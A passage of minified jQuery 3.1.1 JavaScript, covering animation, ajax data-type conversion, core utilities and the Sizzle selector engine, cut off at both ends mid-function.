a.notifyWith(e,[c,i,n]),i<1&&u?n:(a.resolveWith(e,[c]),!1)},c=a.promise({elem:e,props:de.extend({},t),opts:de.extend(!0,{specialEasing:{},easing:de.easing._default},n),originalProperties:t,originalOptions:n,startTime:ht||M(),duration:n.duration,tweens:[],createTween:function(t,n){var r=de.Tween(e,c.opts,t,n,c.opts.specialEasing[t]||c.opts.easing);return c.tweens.push(r),r},stop:function(t){var n=0,r=t?c.tweens.length:0;if(o)return this;for(o=!0;n<r;n++)c.tweens[n].run(1);return t?(a.notifyWith(e,[c,1,0]),a.resolveWith(e,[c,t])):a.rejectWith(e,[c,t]),this}}),l=c.props;for(_(l,c.opts.specialEasing);i<s;i++)if(r=U.prefilters[i].call(c,e,l,c.opts))return de.isFunction(r.stop)&&(de._queueHooks(c.elem,c.opts.queue).stop=de.proxy(r.stop,r)),r;return de.map(l,W,c),de.isFunction(c.opts.start)&&c.opts.start.call(e,c),de.fx.timer(de.extend(u,{elem:e,anim:c,queue:c.opts.queue})),c.progress(c.opts.progress).done(c.opts.done,c.opts.complete).fail(c.opts.fail).always(c.opts.always)}function z(e){var t=e.match(qe)||[];return t.join(\" \")}function X(e){return e.getAttribute&&e.getAttribute(\"class\")||\"\"}function V(e,t,n,r){var o;if(de.isArray(t))de.each(t,function(t,o){n||Et.test(e)?r(e,o):V(e+\"[\"+(\"object\"==typeof o&&null!=o?t:\"\")+\"]\",o,n,r)});else if(n||\"object\"!==de.type(t))r(e,t);else for(o in t)V(e+\"[\"+o+\"]\",t[o],n,r)}function G(e){return function(t,n){\"string\"!=typeof t&&(n=t,t=\"*\");var r,o=0,i=t.toLowerCase().match(qe)||[];if(de.isFunction(n))for(;r=i[o++];)\"+\"===r[0]?(r=r.slice(1)||\"*\",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function Y(e,t,n,r){function o(a){var u;return i[a]=!0,de.each(e[a]||[],function(e,a){var c=a(t,n,r);return\"string\"!=typeof c||s||i[c]?s?!(u=c):void 0:(t.dataTypes.unshift(c),o(c),!1)}),u}var i={},s=e===Pt;return o(t.dataTypes[0])||!i[\"*\"]&&o(\"*\")}function Q(e,t){var n,r,o=de.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((o[n]?e:r||(r={}))[n]=t[n]);return r&&de.extend(!0,e,r),e}function J(e,t,n){for(var r,o,i,s,a=e.contents,u=e.dataTypes;\"*\"===u[0];)u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader(\"Content-Type\"));if(r)for(o in a)if(a[o]&&a[o].test(r)){u.unshift(o);break}if(u[0]in n)i=u[0];else{for(o in n){if(!u[0]||e.converters[o+\" \"+u[0]]){i=o;break}s||(s=o)}i=i||s}if(i)return i!==u[0]&&u.unshift(i),n[i]}function K(e,t,n,r){var o,i,s,a,u,c={},l=e.dataTypes.slice();if(l[1])for(s in e.converters)c[s.toLowerCase()]=e.converters[s];for(i=l.shift();i;)if(e.responseFields[i]&&(n[e.responseFields[i]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=i,i=l.shift())if(\"*\"===i)i=u;else if(\"*\"!==u&&u!==i){if(s=c[u+\" \"+i]||c[\"* \"+i],!s)for(o in c)if(a=o.split(\" \"),a[1]===i&&(s=c[u+\" \"+a[0]]||c[\"* \"+a[0]])){s===!0?s=c[o]:c[o]!==!0&&(i=a[0],l.unshift(a[1]));break}if(s!==!0)if(s&&e.throws)t=s(t);else try{t=s(t)}catch(e){return{state:\"parsererror\",error:s?e:\"No conversion from \"+u+\" to \"+i}}}return{state:\"success\",data:t}}function Z(e){return de.isWindow(e)?e:9===e.nodeType&&e.defaultView}var ee=[],te=e.document,ne=Object.getPrototypeOf,re=ee.slice,oe=ee.concat,ie=ee.push,se=ee.indexOf,ae={},ue=ae.toString,ce=ae.hasOwnProperty,le=ce.toString,fe=le.call(Object),pe={},he=\"3.1.1\",de=function(e,t){return new de.fn.init(e,t)},ge=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,me=/^-ms-/,ve=/-([a-z])/g,ye=function(e,t){return t.toUpperCase()};de.fn=de.prototype={jquery:he,constructor:de,length:0,toArray:function(){return re.call(this)},get:function(e){return null==e?re.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=de.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return de.each(this,e)},map:function(e){return this.pushStack(de.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(re.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:ie,sort:ee.sort,splice:ee.splice},de.extend=de.fn.extend=function(){var e,t,n,r,o,i,s=arguments[0]||{},a=1,u=arguments.length,c=!1;for(\"boolean\"==typeof s&&(c=s,s=arguments[a]||{},a++),\"object\"==typeof s||de.isFunction(s)||(s={}),a===u&&(s=this,a--);a<u;a++)if(null!=(e=arguments[a]))for(t in e)n=s[t],r=e[t],s!==r&&(c&&r&&(de.isPlainObject(r)||(o=de.isArray(r)))?(o?(o=!1,i=n&&de.isArray(n)?n:[]):i=n&&de.isPlainObject(n)?n:{},s[t]=de.extend(c,i,r)):void 0!==r&&(s[t]=r));return s},de.extend({expando:\"jQuery\"+(he+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return\"function\"===de.type(e)},isArray:Array.isArray,isWindow:function(e){return null!=e&&e===e.window},isNumeric:function(e){var t=de.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==ue.call(e))&&(!(t=ne(e))||(n=ce.call(t,\"constructor\")&&t.constructor,\"function\"==typeof n&&le.call(n)===fe))},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},type:function(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?ae[ue.call(e)]||\"object\":typeof e},globalEval:function(e){n(e)},camelCase:function(e){return e.replace(me,\"ms-\").replace(ve,ye)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t){var n,o=0;if(r(e))for(n=e.length;o<n&&t.call(e[o],o,e[o])!==!1;o++);else for(o in e)if(t.call(e[o],o,e[o])===!1)break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(ge,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(r(Object(e))?de.merge(n,\"string\"==typeof e?[e]:e):ie.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,o=e.length;r<n;r++)e[o++]=t[r];return e.length=o,e},grep:function(e,t,n){for(var r,o=[],i=0,s=e.length,a=!n;i<s;i++)r=!t(e[i],i),r!==a&&o.push(e[i]);return o},map:function(e,t,n){var o,i,s=0,a=[];if(r(e))for(o=e.length;s<o;s++)i=t(e[s],s,n),null!=i&&a.push(i);else for(s in e)i=t(e[s],s,n),null!=i&&a.push(i);return oe.apply([],a)},guid:1,proxy:function(e,t){var n,r,o;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),de.isFunction(e))return r=re.call(arguments,2),o=function(){return e.apply(t||this,r.concat(re.call(arguments)))},o.guid=e.guid=e.guid||de.guid++,o},now:Date.now,support:pe}),\"function\"==typeof Symbol&&(de.fn[Symbol.iterator]=ee[Symbol.iterator]),de.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){ae[\"[object \"+t+\"]\"]=t.toLowerCase()});var xe=function(e){function t(e,t,n,r){var o,i,s,a,u,c,l,p=t&&t.ownerDocument,d=t?t.nodeType:9;if(n=n||[],\"string\"!=typeof e||!e||1!==d&&9!==d&&11!==d)return n;if(!r&&((t?t.ownerDocument||t:W)!==L&&O(t),t=t||L,F)){if(11!==d&&(u=ve.exec(e)))if(o=u[1]){if(9===d){if(!(s=t.getElementById(o)))return n;if(s.id===o)return n.push(s),n}else if(p&&(s=p.getElementById(o))&&M(t,s)&&s.id===o)return n.push(s),n}else{if(u[2])return K.apply(n,t.getElementsByTagName(e)),n;if((o=u[3])&&T.getElementsByClassName&&t.getElementsByClassName)return K.apply(n,t.getElementsByClassName(o)),n}if(T.qsa&&!X[e+\" \"]&&(!R||!R.test(e))){if(1!==d)p=t,l=e;else if(\"object\"!==t.nodeName.toLowerCase()){for((a=t.getAttribute(\"id\"))?a=a.replace(we,Te):t.setAttribute(\"id\",a=$),c=E(e),i=c.length;i--;)c[i]=\"#\"+a+\" \"+h(c[i]);l=c.join(\",\"),p=ye.test(e)&&f(t.parentNode)||t}if(l)try{return K.apply(n,p.querySelectorAll(l)),n}catch(e){}finally{a===$&&t.removeAttribute(\"id\")}}}return N(e.replace(ae,\"$1\"),t,n,r)}function n(){function e(n,r){return t.push(n+\" \")>C.cacheLength&&delete e[t.shift()],e[n+\" \"]=r}var t=[];return e}function r(e){return e[$]=!0,e}function o(e){var t=L.createElement(\"fieldset\");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function i(e,t){for(var n=e.split(\"|\"),r=n.length;r--;)C.attrHandle[n[r]]=t}function s(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function a(e){return function(t){var n=t.nodeName.toLowerCase();return\"input\"===n&&t.type===e}}function u(e){return function(t){var n=t.nodeName.toLowerCase();return(\"input\"===n||\"button\"===n)&&t.type===e}}function c(e){return function(t){return\"form\"in t?t.parentNode&&t.disabled===!1?\"label\"in t?\"label\"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&je(t)===e:t.disabled===e:\"label\"in t&&t.disabled===e}}function l(e){return r(function(t){return t=+t,r(function(n,r){for(var o,i=e([],n.length,t),s=i.length;s--;)n[o=i[s]]&&(n[o]=!(r[o]=n[o]))})})}function f(e){return e&&\"undefined\"!=typeof e.getElementsByTagName&&e}function p(){}function h(e){for(var t=0,n=e.length,r=\"\";t<n;t++)r+=e[t].value;return r}function d(e,t,n){var r=t.dir,o=t.next,i=o||r,s=n&&\"parentNode\"===i,a=_++;return t.first?function(t,n,o){for(;t=t[r];)if(1===t.nodeType||s)return e(t,n,o);return!1}:function(t,n,u){var c,l,f,p=[B,a];if(u){for(;t=t[r];)if((1===t.nodeType||s)&&e(t,n,u))return!0}else for(;t=t[r];)if(1===t.nodeType||s)if(f=t[$]||(t[$]={}),l=f[t.uniqueID]||(f[t.uniqueID]={}),o&&o===t.nodeName.toLowerCase())t=t[r]||t;else{if((c=l[i])&&c[0]===B&&c[1]===a)return p[2]=c[2];if(l[i]=p,p[2]=e(t,n,u))return!0}return!1}}function g(e){return e.length>1?function(t,n,r){for(var o=e.length;o--;)if(!e[o](t,n,r))return!1;return!0}:e[0]}function m(e,n,r){for(var o=0,i=n.length;o<i;o++)t(e,n[o],r);return r}function v(e,t,n,r,o){for(var i,s=[],a=0,u=e.length,c=null!=t;a<u;a++)(i=e[a])&&(n&&!n(i,r,o)||(s.push(i),c&&t.push(a)));return s}function y(e,t,n,o,i,s){return o&&!o[$]&&(o=y(o)),i&&!i[$]&&(i=y(i,s)),r(function(r,s,a,u){var c,l,f,p=[],h=[],d=s.length,g=r||m(t||\"*\",a.nodeType?[a]:a,[]),y=!e||!r&&t?g:v(g,p,e,a,u),x=n?i||(r?e:d||o)?[]:s:y;if(n&&n(y,x,a,u),o)for(c=v(x,h),o(c,[],a,u),l=c.length;l--;)(f=c[l])&&(x[h[l]]=!(y[h[l]]=f));if(r){if(i||e){if(i){for(c=[],l=x.length;l--;)(f=x[l])&&c.push(y[l]=f);i(null,x=[],c,u)}for(l=x.length;l--;)(f=x[l])&&(c=i?ee(r,f):p[l])>-1&&(r[c]=!(s[c]=f))}}else x=v(x===s?x.splice(d,x.length):x),i?i(null,s,x,u):K.apply(s,x)})}function x(e){for(var t,n,r,o=e.length,i=C.relative[e[0].type],s=i||C.relative[\" \"],a=i?1:0,u=d(function(e){return e===t},s,!0),c=d(function(e){return ee(t,e)>-1},s,!0),l=[function(e,n,r){var o=!i&&(r||n!==A)||((t=n).nodeType?u(e,n,r):c(e,n,r));return t=null,o}];a<o;a++)if(n=C.relative[e[a].type])l=[d(g(l),n)];else{if(n=C.filter[e[a].type].apply(null,e[a].matches),n[$]){for(r=++a;r<o&&!C.relative[e[r].type];r++);return y(a>1&&g(l),a>1&&h(e.slice(0,a-1).concat({value:\" \"===e[a-2].type?\"*\":\"\"})).replace(ae,\"$1\"),n,a<r&&x(e.slice(a,r)),r<o&&x(e=e.slice(r)),r<o&&h(e))}l.push(n)}return g(l)}function b(e,n){var o=n.length>0,i=e.length>0,s=function(r,s,a,u,c){var l,f,p,h=0,d=\"0\",g=r&&[],m=[],y=A,x=r||i&&C.find.TAG(\"*\",c),b=B+=null==y?1:Math.random()||.1,w=x.length;for(c&&(A=s===L||s||c);d!==w&&null!=(l=x[d]);d++){if(i&&l){for(f=0,s||l.ownerDocument===L||(O(l),a=!F);p=e[f++];)if(p(l,s||L,a)){u.push(l);break}c&&(B=b)}o&&((l=!p&&l)&&h--,r&&g.push(l))}if(h+=d,o&&d!==h){for(f=0;p=n[f++];)p(g,m,s,a);if(r){if(h>0)for(;d--;)g[d]||m[d]||(m[d]=Q.call(u));m=v(m)}K.apply(u,m),c&&!r&&m.length>0&&h+n.length>1&&t.uniqueSort(u)}return c&&(B=b,A=y),g};return o?r(s):s}var w,T,C,j,k,E,S,N,A,q,D,O,L,H,F,R,I,P,M,$=\"sizzle\"+1*new Date,W=e.document,B=0,_=0,U=n(),z=n(),X=n(),V=function(e,t){return e===t&&(D=!0),0},G={}.hasOwnProperty,Y=[],Q=Y.pop,J=Y.push,K=Y.push,Z=Y.slice,ee=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},te=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",ne=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",re=\"(?:\\\\\\\\.|[\\\\w-]|[^\\0-\\\\xa0])+\",oe=\"\\\\[\"+ne+\"*(\"+re+\")(?:\"+ne+\"*([*^$|!~]?=)\"+ne+\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\"+re+\"))|)\"+ne+\"*\\\\]\",ie=\":(\"+re+\")(?:\\\\((('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+oe+\")*)|.*)\\\\)|)\",se=new RegExp(ne+\"+\",\"g\"),ae=new RegExp(\"^\"+ne+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+ne+\"+$\",\"g\"),ue=new RegExp(\"^\"+ne+\"*,\"+ne+\"*\"),ce=new RegExp(\"^\"+ne+\"*([>+~]|\"+ne+\")\"+ne+\"*\"),le=new RegExp(\"=\"+ne+\"*([^\\\\]'\\\"]*?)\"+ne+\"*\\\\]\",\"g\"),fe=new RegExp(ie),pe=new RegExp(\"^\"+re+\"$\"),he={ID:new RegExp(\"^#(\"+re+\")\"),CLASS:new RegExp(\"^\\\\.(\"+re+\")\"),TAG:new RegExp(\"^(\"+re+\"|[*])\"),ATTR:new RegExp(\"^\"+oe),PSEUDO:new RegExp(\"^\"+ie),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+ne+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+ne+\"*(?:([+-]|)\"+ne+\"*(\\\\d+)|))\"+ne+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+te+\")$\",\"i\"),needsContext:new RegExp(\"^\"+ne+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+ne+\"*((?:-\\\\d)?\\\\d*)\"+ne+\"*\\\\)|)(?=[^-]|$)\",\"i\")},de=/^(?:input|select|textarea|button)$/i,ge=/^h\\d$/i,me=/^[^{]+\\{\\s*\\[native \\w/,ve=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,ye=/[+~]/,xe=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+ne+\"?|(\"+ne+\")|.)\",\"ig\"),be=function(e,t,n){var r=\"0x\"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},we=/([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\0-\\x1f\\x7f-\\uFFFF\\w-]/g,Te=function(e,t){return t?\"\\0\"===e?\"�\":e.slice(0,-1)+\"\\\\\"+e.charCodeAt(e.length-1).toString(16)+\" \":\"\\\\\"+e},Ce=function(){O()},je=d(function(e){return e.disabled===!0&&(\"form\"in e||\"label\"in e)},{dir:\"parentNode\",next:\"legend\"});try{K.apply(Y=Z.call(W.childNodes),W.childNodes),Y[W.childNodes.length].nodeType}catch(e){K={apply:Y.length?function(e,t){J.apply(e,Z.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}T=t.support={},k=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&\"HTML\"!==t.nodeName},O=t.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:W;return r!==L&&9===r.nodeType&&r.documentElement?(L=r,H=L.documentElement,F=!k(L),W!==L&&(n=L.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener(\"unload\",Ce,!1):n.attachEvent&&n.attachEvent(\"onunload\",Ce)),T.attributes=o(function(e){return e.className=\"i\",!e.getAttribute(\"className\")}),T.getElementsByTagName=o(function(e){return e.appendChild(L.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),T.getElementsByClassName=me.test(L.getElementsByClassName),T.getById=o(function(e){return H.appendChild(e).id=$,!L.getElementsByName||!L.getElementsByName($).length}),T.getById?(C.filter.ID=function(e){var t=e.replace(xe,be);return function(e){return e.getAttribute(\"id\")===t}},C.find.ID=function(e,t){if(\"undefined\"!=typeof t.getElementById&&F){var n=t.getElementById(e);return n?[n]:[]}}):(C.filter.ID=function(e){var t=e.replace(xe,be);return function(e){var n=\"undefined\"!=typeof e.getAttributeNode&&e.getAttributeNode(\"id\");return n&&n.value===t}},C.find.ID=function(e,t){if(\"undefined\"!=typeof t.getElementById&&F){var n,r,o,i=t.getElementById(e);if(i){if(n=i.getAttributeNode(\"id\"),n&&n.value===e)return[i];for(o=t.getElementsByName(e),r=0;i=o[r++];)if(n=i.getAttributeNode(\"id\"),n&&n.value===e)return[i]}return[]}}),C.find.TAG=T.getElementsByTagName?function(e,t){return\"undefined\"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):T.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],o=0,i=t.getElementsByTagName(e);if(\"*\"===e){for(;n=i[o++];)1===n.nodeType&&r.push(n);return r}return i},C.find.CLASS=T.getElementsByClassName&&function(e,t){if(\"undefined\"!=typeof t.getElementsByClassName&&F)return t.getElementsByClassName(e)},I=[],R=[],(T.qsa=me.test(L.querySelectorAll))&&(o(function(e){H.appendChild(e).innerHTML=\"<a id='\"+$+\"'></a><select id='\"+$+\"-\\r\\\\' msallowcapture=''><option selected=''></option></select>\",e.querySelectorAll(\"[msallowcapture^='']\").length&&R.push(\"[*^$]=\"+ne+\"*(?:''|\\\"\\\")\"),e.querySelectorAll(\"[selected]\").length||R.push(\"\\\\[\"+ne+\"*(?:value|\"+te+\")\"),e.querySelectorAll(\"[id~=\"+$+\"-]\").length||R.push(\"~=\"),e.querySelectorAll(\":checked\").length||R.push(\":checked\"),e.querySelectorAll(\"a#\"+$+\"+*\").length||R.push(\".#.+[+~]\")}),o(function(e){e.innerHTML=\"<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>\";var t=L.createElement(\"input\");t.setAttribute(\"type\",\"hidden\"),e.appendChild(t).setAttribute(\"name\",\"D\"),e.querySelectorAll(\"[name=d]\").length&&R.push(\"name\"+ne+\"*[*^$|!~]?=\"),2!==e.querySelectorAll(\":enabled\").length&&R.push(\":enabled\",\":disabled\"),H.appendChild(e).disabled=!0,2!==e.querySelectorAll(\":disabled\").length&&R.push(\":enabled\",\":disabled\"),e.querySelectorAll(\"*,:x\"),R.push(\",.*:\")})),(T.matchesSelector=me.test(P=H.matches||H.webkitMatchesSelector||H.mozMatchesSelector||H.oMatchesSelector||H.msMatchesSelector))&&o(function(e){T.disconnectedMatch=P.call(e,\"*\"),P.call(e,\"[s!='']:x\"),I.push(\"!=\",ie)}),R=R.length&&new RegExp(R.join(\"|\")),I=I.length&&new RegExp(I.join(\"|\")),t=me.test(H.compareDocumentPosition),M=t||me.test(H.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},V=t?function(e,t){if(e===t)return D=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n?n:(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&n||!T.sortDetached&&t.compareDocumentPosition(e)===n?e===L||e.ownerDocument===W&&M(W,e)?-1:t===L||t.ownerDocument===W&&M(W,t)?1:q?ee(q,e)-ee(q,t):0:4&n?-1:1)}:function(e,t){if(e===t)return D=!0,0;var n,r=0,o=e.parentNode,i=t.parentNode,a=[e],u=[t];if(!o||!i)return e===L?-1:t===L?1:o?-1:i?1:q?ee(q,e)-ee(q,t):0;if(o===i)return s(e,t);for(n=e;n=n.parentNode;)a.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;a[r]===u[r];)r++;return r?s(a[r],u[r]):a[r]===W?-1:u[r]===W?1:0},L):L},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==L&&O(e),n=n.replace(le,\"='$1']\"),T.matchesSelector&&F&&!X[n+\" \"]&&(!I||!I.test(n))&&(!R||!R.test(n)))try{var r=P.call(e,n);if(r||T.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return t(n,L,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==L&&O(e),M(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==L&&O(e);var n=C.attrHandle[t.toLowerCase()],r=n&&G.call(C.attrHandle,t.toLowerCase())?n(e,t,!F):void 0;return void 0!==r?r:T.attributes||!F?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.escape=function(e){return(e+\"\").replace(we,Te)},t.error=function(e){throw new Error(\"Syntax error, unrecognized expression: \"+e)},t.uniqueSort=function(e){var t,n=[],r=0,o=0;if(D=!T.detectDuplicates,q=!T.sortStable&&e.slice(0),e.sort(V),D){for(;t=e[o++];)t===e[o]&&(r=n.push(o));for(;r--;)e.splice(n[r],1)}return q=null,e},j=t.getText=function(e){var t,n=\"\",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if(\"string\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=j(e)}else if(3===o||4===o)return e.nodeValue}else for(;t=e[r++];)n+=j(t);return n},C=t.selectors={cacheLength:50,createPseudo:r,match:he,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(xe,be),e[3]=(e[3]||e[4]||e[5]||\"\").replace(xe,be),\"~=\"===e[2]&&(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\"nth\"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\"even\"===e[3]||\"odd\"===e[3])),e[5]=+(e[7]+e[8]||\"odd\"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return he.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||\"\":n&&fe.test(n)&&(t=E(n,!0))&&(t=n.indexOf(\")\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(xe,be).toLowerCase();return\"*\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=U[e+\" \"];return t||(t=new RegExp(\"(^|\"+ne+\")\"+e+\"(\"+ne+\"|$)\"))&&U(e,function(e){return t.test(\"string\"==typeof e.className&&e.className||\"undefined\"!=typeof e.getAttribute&&e.getAttribute(\"class\")||\"\")})},ATTR:function(e,n,r){return function(o){var i=t.attr(o,e);return null==i?\"!=\"===n:!n||(i+=\"\",\"=\"===n?i===r:\"!=\"===n?i!==r:\"^=\"===n?r&&0===i.indexOf(r):\"*=\"===n?r&&i.indexOf(r)>-1:\"$=\"===n?r&&i.slice(-r.length)===r:\"~=\"===n?(\" \"+i.replace(se,\" \")+\" \").indexOf(r)>-1:\"|=\"===n&&(i===r||i.slice(0,r.length+1)===r+\"-\"))}},CHILD:function(e,t,n,r,o){var i=\"nth\"!==e.slice(0,3),s=\"last\"!==e.slice(-4),a=\"of-type\"===t;return 1===r&&0===o?function(e){return!!e.parentNode}:function(t,n,u){var c,l,f,p,h,d,g=i!==s?\"nextSibling\":\"previousSibling\",m=t.parentNode,v=a&&t.nodeName.toLowerCase(),y=!u&&!a,x=!1;if(m){if(i){for(;g;){for(p=t;p=p[g];)if(a?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;d=g=\"only\"===e&&!d&&\"nextSibling\"}return!0}if(d=[s?m.firstChild:m.lastChild],s&&y){for(p=m,f=p[$]||(p[$]={}),l=f[p.uniqueID]||(f[p.uniqueID]={}),c=l[e]||[],h=c[0]===B&&c[1],x=h&&c[2],p=h&&m.childNodes[h];p=++h&&p&&p[g]||(x=h=0)||d.pop();)if(1===p.nodeType&&++x&&p===t){l[e]=[B,h,x];break}}else if(y&&(p=t,f=p[$]||(p[$]={}),l=f[p.uniqueID]||(f[p.uniqueID]={}),c=l[e]||[],h=c[0]===B&&c[1],x=h),x===!1)for(;(p=++h&&p&&p[g]||(x=h=0)||d.pop())&&((a?p.nodeName.toLowerCase()!==v:1!==p.nodeType)||!++x||(y&&(f=p[$]||(p[$]={}),l=f[p.uniqueID]||(f[p.uniqueID]={}),l[e]=[B,x]),p!==t)););return x-=o,x===r||x%r===0&&x/r>=0}}},PSEUDO:function(e,n){var o,i=C.pseudos[e]||C.setFilters[e.toLowerCase()]||t.error(\"unsupported pseudo: \"+e);return i[$]?i(n):i.length>1?(o=[e,e,\"\",n],C.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,o=i(e,n),s=o.length;s--;)r=ee(e,o[s]),e[r]=!(t[r]=o[s])}):function(e){return i(e,0,o)}):i}},pseudos:{not:r(function(e){var t=[],n=[],o=S(e.replace(ae,\"$1\"));return o[$]?r(function(e,t,n,r){for(var i,s=o(e,null,r,[]),a=e.length;a--;)(i=s[a])&&(e[a]=!(t[a]=i))}):function(e,r,i){return t[0]=e,o(t,null,i,n),t[0]=null,!n.pop()}}),has:r(function(e){return function(n){\nreturn t(e,n).length>0}}),contains:r(function(e){return e=e.replace(xe,be),function(t){return(t.textContent||t.innerText||j(t)).indexOf(e)>-1}}),lang:r(function(e){return pe.test(e||\"\")||t.error(\"unsupported lang: \"+e),e=e.replace(xe,be).toLowerCase(),function(t){var n;do if(n=F?t.lang:t.getAttribute(\"xml:lang\")||t.getAttribute(\"lang\"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+\"-\");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===H},focus:function(e){return e===L.activeElement&&(!L.hasFocus||L.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:c(!1),disabled:c(!0),checked:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&!!e.checked||\"option\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!C.pseudos.empty(e)},header:function(e){return ge.test(e.nodeName)},input:function(e){return de.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&\"button\"===e.type||\"button\"===t},text:function(e){var t;return\"input\"===e.nodeName.toLowerCase()&&\"text\"===e.type&&(null==(t=e.getAttribute(\"type\"))||\"text\"===t.toLowerCase())},first:l(function(){return[0]}),last:l(function(e,t){return[t-1]}),eq:l(function(e,t,n){return[n<0?n+t:n]}),even:l(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:l(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:l(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:l(function(e,t,n){for(var 